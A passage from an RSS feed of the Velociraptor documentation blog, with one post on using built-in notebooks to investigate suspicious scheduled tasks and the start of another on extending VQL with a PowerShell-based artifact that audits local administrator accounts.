      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/0AgiLbUBbvfxAxu29.jpg?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is a great tool for collecting endpoint state easily and efficiently. It is so efficient, that sometimes we end up with a lot of collected data and are left with the task of making sense of the data, and documenting our investigative process.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/&#34;&gt;a previous article&lt;/a&gt; we have seen how post-processing of collected data can be done using &lt;a href=&#34;https://jupyter.org/&#34; target=&#34;_blank&#34; &gt;Jupyter notebooks&lt;/a&gt;. The notebook is a living document, allowing us to run analysis code interspersed among documentation which can be updates in real time, as the analyst post-processes and annotates the data.&lt;/p&gt;&#xA;&lt;p&gt;Although one can still use Jupyter notebooks to post process Velociraptor collected data, the latest Velociraptor release (0.4.1) added a notebook feature built in. This saves the effort of connecting Jupyter via the API and running python wrappers to manipulate VQL. Velociraptor notebooks are also better integrated into the rest of Velociraptor with native support for VQL, markdown and embedded images. In this article we will explore a typical workflow of using Velociraptor notebooks to investigate a DFIR&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptors-notebooks&#34;&gt;Velociraptor’s notebooks&lt;/h2&gt;&#xA;&lt;p&gt;In the following article we analyze the same case as in our &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-06-velociraptor-post-processing-with-jupyter-notebook-and-pandas-8a344d05ee8c/&#34;&gt;previous article&lt;/a&gt;. After installing the latest &lt;a href=&#34;https://github.com/Velocidex/velociraptor/releases&#34; target=&#34;_blank&#34; &gt;Velociraptor release&lt;/a&gt; (0.4.1) we see a new “Notebooks” menu option on the navigation sidebar.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/13sxd7Sd06lwHjBYfhVI1Sg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-are-notebooks&#34;&gt;What are notebooks?&lt;/h3&gt;&#xA;&lt;p&gt;Notebooks are free form, shared documents built right into the Velociraptor GUI. Multiple analysts can view and edit the same notebook simultaneously.&lt;/p&gt;&#xA;&lt;p&gt;Typically in DFIR work, analysts do not necessarily immediately know the root cause of an intrusion. Analysis is often a long process of collecting evidence, post processing it in some way, analysing the results and collecting further evidence based on our findings.&lt;/p&gt;&#xA;&lt;p&gt;Notebooks are a way of documenting this process while facilitating collaboration between different team members. During the investigation phase, they are a living document collecting conclusions from multiple artifacts, and coordinating team members. While after the investigation they are a document indicating what was done, and the logical process of reaching the final conclusions.&lt;/p&gt;&#xA;&lt;h3 id=&#34;case-study--scheduled-tasks&#34;&gt;Case study — scheduled tasks&lt;/h3&gt;&#xA;&lt;p&gt;This is a typical DFIR investigation. We suspect malware has installed malicious scheduled tasks to restart itself. We previously ran a hunt to collect all scheduled tasks and would like to examine the results (see the previous article for background).&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-a-new-notebook&#34;&gt;Creating a new notebook&lt;/h3&gt;&#xA;&lt;p&gt;We will create a notebook to document our analysis process. Selecting the Notebook menu in the sidebar and then clicking the “New Notebook” toolbar button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1x9KwMzONb4xzd4zHd_Ps6A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will name our notebook &lt;em&gt;“Scheduled Tasks — Case 1232”,&lt;/em&gt; and add a useful description. Clicking the &lt;em&gt;“Add Notebook”&lt;/em&gt; button will create the new notebook which will now be visible in the top pane, and we can see an initial notebook created on the bottom pane.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1OlsCPDL8fF7gX13d1l_QzQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A notebook consists of a series of &lt;strong&gt;cells&lt;/strong&gt;. Each cell can be of type “Markdown” or “VQL”. In our new notebook, the first cell consists of the name and description we entered earlier. Clicking on the cell shows actions that can be done with that cell.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/15xWh4-EA-eFZcZJaC8Hjsg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s edit this cell and add our rationale for this investigations. Clicking the “Edit Cell” button will open an editor and allow us to write cell content in markdown (If you are not familiar with markdown, GitHub has an excellent guide &lt;a href=&#34;https://guides.github.com/features/mastering-markdown/&#34; target=&#34;_blank&#34; &gt;Mastering Markdown&lt;/a&gt;). The cell editor can be either in Markdown mode or VQL mode as selected by the pull down on the right.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1oBMVtWq04ags52tUDZanew.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s also assume that this investigation was started by an alert we received from our SIEM. We can simply take a screenshot of our SIEM alert and paste it into the cell editor to add context to our notebook. Velociraptor will automatically add the image into the notebook and substitute with the markdown to reference it.&lt;/p&gt;&#xA;&lt;p&gt;Once we finish adding relevant background information to our notebook, we can save the cell by pressing the &lt;em&gt;“Save” &lt;em&gt;button (or pressing&lt;/em&gt; CTRL-Enter&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1bWK92yL-TFs5TgCVbB_tzA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will render the markdown in the notebook and we can see our screenshot.&lt;/p&gt;&#xA;&lt;p&gt;Next we need to post process the scheduled tasks we collected earlier in a hunt. Clicking the “Add Cell” pulldown provides a number of options — in our case, we want to add a cell from an existing hunt.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1iCdRbaZvXc5_lcQeMOJXHg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will then ask us which hunt we want to use&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1cpt_3CH1SEF_ThscuTQ0TQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Selecting the hunt and clicking OK will produce a new VQL cell, already populated with the basic query we need to run to see the results of the hunt. Note that we always use the &lt;strong&gt;LIMIT&lt;/strong&gt; clause to prevent the GUI from processing too much data. At this stage we only want to see the first 10 rows until we can refine our query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1ek3xccxhmfontfCA-Fdcyg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking “Save” will calculate the query and show us the columns available.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1fYx33fAnUlegODORnrRW0A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can now refine the columns we see by specifying them in the VQL query. In our case we only wish to see &lt;strong&gt;FullPath, Command, Arguments&lt;/strong&gt; and &lt;strong&gt;Fqdn&lt;/strong&gt; (The hostname of the endpoint). We know that our alert was for executing “cmd.exe” so we narrow our query to only see scheduled tasks with the &lt;strong&gt;cmd.exe&lt;/strong&gt; command &lt;em&gt;(WHERE Command =~ “cmd.exe”)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1GxMuBrebyHtxHh0wLUmflw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1v7Q9nmHRzfbtydgggYRBWA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After more investigation we determine that the &lt;code&gt;silcollector&lt;/code&gt; and&#xA;&lt;code&gt;dsregcmd&lt;/code&gt; tasks are not malicious so we can exclude them.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/196esqvqOz2HYIKteGdSK3w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1zYsu9uCe-t9T8UkfHPbt3A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We repeat the process as needed until left only with the suspicious commands.&lt;/p&gt;&#xA;&lt;p&gt;In practice we can now add more markdown cells to explain our findings, implement remediation hunts to remove the malicious scheduled task etc. We can even include the VQL we ran in the report by using markdown code blocks.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1iaO11t4Zbn63dQQhkcEDrw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1LyQdC_lK079EUYwwSDT70w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;exporting-the-notebook&#34;&gt;Exporting the notebook&lt;/h3&gt;&#xA;&lt;p&gt;It is great to have a notebook inside Velociraptor, but we really need to be able to print it or share it with others. Additionally, DFIR cases are typically very fluid and the notebook will evolve through multiple revisions. As new data becomes available, perhaps conclusions reached in previous versions need to be revised. This is why we say a notebook is a &lt;strong&gt;living&lt;/strong&gt; document&lt;/p&gt;&#xA;&lt;p&gt;For these reasons, Velociraptor allows users to export the notebook into plain HTML. The HTML export is a point-in-time export, as the investigation proceeds and new information becomes available, the same notebook may be exported again and again, each version revealing new findings.&lt;/p&gt;&#xA;&lt;p&gt;To export our notebook we select it in the top pane then click on “Export Notebook” button in the toolbar. The dialog box shows us all the existing exports from previous times and also allows us to create a new export.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1-iyUl49fvYJUvwohI5SZNA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking on any of the exported files, opens the exported HTML file in another browser window.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1zyFeV0l40eujMCj3OgL4aQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/1FfLBeDrVEDJH2B9q8gYlJw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Although in this view the tables are not interactive as before, the data is all available there.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, we might want to export the result of each post-processed table. To export one table to CSV we can simply click the “Export to CSV” button at the top left of each notebook table&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-28-velociraptor-notebooks-d02e0bd11230/../../img/10_ZCTqrANgf010xbAMRS0Q.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;The new Velociraptor notebook interface adds to Velociraptor’s capabilities as a one stop shop for DFIR investigations. Not only do we have the ability to quickly and efficiently collect artifacts from endpoints, we can now post-process these artifacts in the tool itself. Being able to document our investigative process and produce a report gives us great flexibility without resorting to clunky file exports and spreadsheets.&lt;/p&gt;&#xA;&lt;p&gt;Having notebooks as a built-in feature and usable out of the box removes the need for fiddly setup with API connectivity, and supporting external programs like Jupyter or Python. Simple, powerful, works out of the box!&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Extending VQL plugins</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/</link>
      <pubDate>Sat, 07 Mar 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/../../img/0iyK-hcG9nhlPHVOE.jpg?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is a unique endpoint visibility tool because it provides the ability for users to write custom, tailored queries using the &lt;a href=&#34;https://www.velocidex.com/docs/vql_reference/&#34; target=&#34;_blank&#34; &gt;Velociraptor Query Language&lt;/a&gt; (VQL). Having a powerful query language right at the endpoint gives our responders unprecedented flexibility, and the ability to leverage the experience of other analysts within the vibrant Velociraptor community.&lt;/p&gt;&#xA;&lt;p&gt;VQL is a powerful language but was never designed to be a full featured programming language — it is deliberately kept simple and easy to use. VQL is essentially a glue language that allows more complete capabilities provided by VQL plugins to be strung together into a more functional query.&lt;/p&gt;&#xA;&lt;p&gt;For example, raw MFT parsing is provided by the parse_mft() plugin&#xA;which emits a row for each parsed mft entry. A VQL query can then&#xA;filter out relevant MFT entries and potentially get a copy of the&#xA;file, or attempt to recover deleted files (as described in our&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/&#34;&gt;previous article&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vql-basics&#34;&gt;VQL Basics&lt;/h3&gt;&#xA;&lt;p&gt;Although VQL is already very well documented elsewhere, for this article I will just outline the basic structure of a VQL query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt; SELECT x, y, z FROM plugin() WHERE x = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the above, the query will run the VQL plugin which will produce a set of rows (A row is simply an object with columns and values). The query will then filter each row by the condition “x=1” and for matching rows, extract the columns x, y and x into the result set.&lt;/p&gt;&#xA;&lt;p&gt;The simplicity of this language allows analysts to pick up Velociraptor in a short time and make powerful use of it. However, the actual data is generated by the plugin itself — how does one extend VQL to include new functionality?&lt;/p&gt;&#xA;&lt;h3 id=&#34;extending-vql-via-artifacts&#34;&gt;Extending VQL via Artifacts&lt;/h3&gt;&#xA;&lt;p&gt;One way to extend VQL is through defining &lt;a href=&#34;https://www.velocidex.com/docs/user-interface/artifacts/&#34; target=&#34;_blank&#34; &gt;Artifacts&lt;/a&gt;. Artifacts are a way to encapsulate other VQL queries in YAML files which can then be shared and added to Velociraptor at any time. Artifacts have a name by which they can be accessed in other queries. For example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; SELECT Name, SID FROM Artifact.Windows.Sys.Users()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above query will simply run the artifact’s VQL query and emit each user on the system. We can now use it from our own query, filter it etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extending-vql-via-external-code&#34;&gt;Extending VQL via external code&lt;/h3&gt;&#xA;&lt;p&gt;While the above method is useful, it can only really wrap existing capabilities in Velociraptor — We are just wrapping an existing VQL query in an artifact reusing existing plugins, not extending the basic capabilities of Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;Although VQL already comes with a lot of built in plugins, sometimes what we actually want is not built into Velociraptor itself. This might be because we never thought of the need (please file &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;a bug for feature requests&lt;/a&gt;!) or because it simply would not make sense to include the functionality directly inside Velociraptor.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example--list-local-administrator-group-users&#34;&gt;Example — List Local Administrator Group Users&lt;/h3&gt;&#xA;&lt;p&gt;For example, suppose we wanted to list all the users that belong to the local administrator group on Windows. This information is obviously important because local administrators are extremely powerful accounts, and are sometimes granted to users who need administrator access to their local workstation. Often this access is not recorded or tracked properly. Even worse, sometimes local user accounts are created with local administrator group membership allowing those accounts to be logged into without AD oversight or controls. See &lt;a href=&#34;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/implementing-least-privilege-administrative-models#on-workstations&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt;, and &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;p&gt;While Velociraptor does not offer the functionality to query local groups, the functionality is readily available via PowerShell &lt;a href=&#34;https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroupmember?view=powershell-5.1&#34; target=&#34;_blank&#34; &gt;Get-LocalGroupMember commandlet&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Get-LocalGroupMember -Group “Administrators”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Let’s turn this Powershell commandlet into a Velociraptor artifact&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Custom.GetLocalAdmins&#xA;description: |&#xA;   Gets a list of local admin accounts&#xA;&#xA;reference:&#xA;- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroupmember?view=powershell-5.1&#xA;&#xA;# Can be CLIENT, CLIENT_EVENT, SERVER, SERVER_EVENT&#xA;type: CLIENT&#xA;&#xA;&#xA;parameters:&#xA; - name: script&#xA;   default: |&#xA;       Get-LocalGroupMember -Group &amp;quot;Administrators&amp;quot; |SELECT -ExpandProperty SID -Property Name, PrincipalSource |select  Name, Value, PrincipalSource|convertto-json&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    queries:&#xA;    - LET out = SELECT parse_json_array(data=Stdout) AS Output&#xA;          FROM execve(argv=[&amp;quot;powershell&amp;quot;,&#xA;               &amp;quot;-ExecutionPolicy&amp;quot;, &amp;quot;Unrestricted&amp;quot;, &amp;quot;-encodedCommand&amp;quot;,&#xA;                  base64encode(string=utf16_encode(&#xA;                  string=script))&#xA;            ], length=1000000)&#xA;    - SELECT * FROM foreach(row=out.Output[0],&#xA;      query={&#xA;          SELECT Name, Value AS SID FROM scope()&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The powershell script simply runs the commandlet and extracts the SID and the username, converting the result to JSON. On the VQL size we encode the script and shell out to Powershell, then decode the output from JSON and produce VQL rows.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-03-07-extending-vql-plugins-7fb004cb6ec4/../../img/10seNp3si-PKiAj0pvhrzWg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If we now collected this artifact as a hunt from our entire deployment we could have a listing of all local admin accounts within minutes from thousands of endpoints making it trivial to audit.&lt;/p&gt;&#xA;&lt;p&gt;The whole VQL query and included powershell are now wrapped in an artifact, which can be called transparently from other VQL statements, further filtered etc. In fact using this methodology encapsulates the exact way the Artifact works, so that callers of this artifact do not really care (and cant really tell) that PowerShell is used instead of having a built in Velociraptor command.&lt;/p&gt;&#xA;&lt;p&gt;We effectively just extended the capabilities of the endpoint tool without needing to rebuild or deploy a new version of Velociraptor! This allows for unprecedented flexibility in our DFIR work.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example--remediation&#34;&gt;Example — remediation&lt;/h3&gt;&#xA;&lt;p&gt;For the next example, suppose we discovered a widespread infection within our network. Typically, the malware installs various methods of re-infecting a host, and a common way is to install a malicious service (&lt;a href=&#34;https://attack.mitre.org/techniques/T1035/&#34; 